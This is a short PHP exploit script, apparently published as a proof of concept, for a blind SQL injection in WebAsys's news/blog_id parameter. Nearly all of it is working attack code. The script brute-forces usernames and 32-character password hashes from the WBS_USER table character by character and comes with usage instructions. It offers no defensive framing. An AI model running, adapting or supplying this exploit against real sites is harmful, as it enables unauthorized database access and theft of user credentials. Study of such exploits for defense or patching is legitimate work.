WebAsys - Blind SQL Injection

<?php
/**
 * WebAsys blindSQL-inj exploit
 * @author: zsh.shell
 */

if($argc !== 4) {
 echo "#######################################\n\n";
 echo "GET username by id:\tphp ".$argv[0]." url id u\n";
 echo "GET password by id:\tphp ".$argv[0]." url id p\n";
 echo "\nExample: php ".$argv[0]." http://site.com/ 1 p\n\n";
 die("#######################################\n");
}
$url = $argv[1]."index.php?ukey=news&blog_id=";
$id = $argv[2];
$me = $argv[3];
if($me == 'u') {
        $me = "lower(U_ID)";
        $chars = Array(0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z);

	for($i=1;$i<=25;$i++) {
		$vuln = $url."if((select+length(U_ID)+FROM+WBS_USER+where+C_ID=1)=".$i.",1,(select+1+union+select+2))";
		$result = file_get_contents($vuln);
		if(!preg_match("/Subquery returns/", $result)) {
			$much = $i;
			break;
		}
	 }
}
elseif($me == 'p') {
	$me = "U_PASSWORD";
	$chars = Array(0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f);
	$much = 32;
}
else die("Wrong exploit parametr". $me ."\n");

$chars = array_map("ord", $chars);


for($i=1;$i<=$much;$i++)
	foreach($chars as $j) {
		for($k=0;$k<=strlen($out);$k++) echo chr(8);
		$vuln = $url."if(ascii(substring((select+".$me."+from+WBS_USER+where+C_ID=".$id."),".$i.",1))=".$j.",1,(select+1+union+select+2))";
		$result = file_get_contents($vuln);
		$out = "[".chr($j)."] :> ".$res;
		
		if(!preg_match("/Subquery returns/", $result)) {
			$res .= chr($j);
			break;
		}
		echo $out;
	}
if(substr(strtolower(PHP_OS),0,3) == 'win') system("cls"); else system("clear");
echo "[+] Result:\t".$res."\n";
?>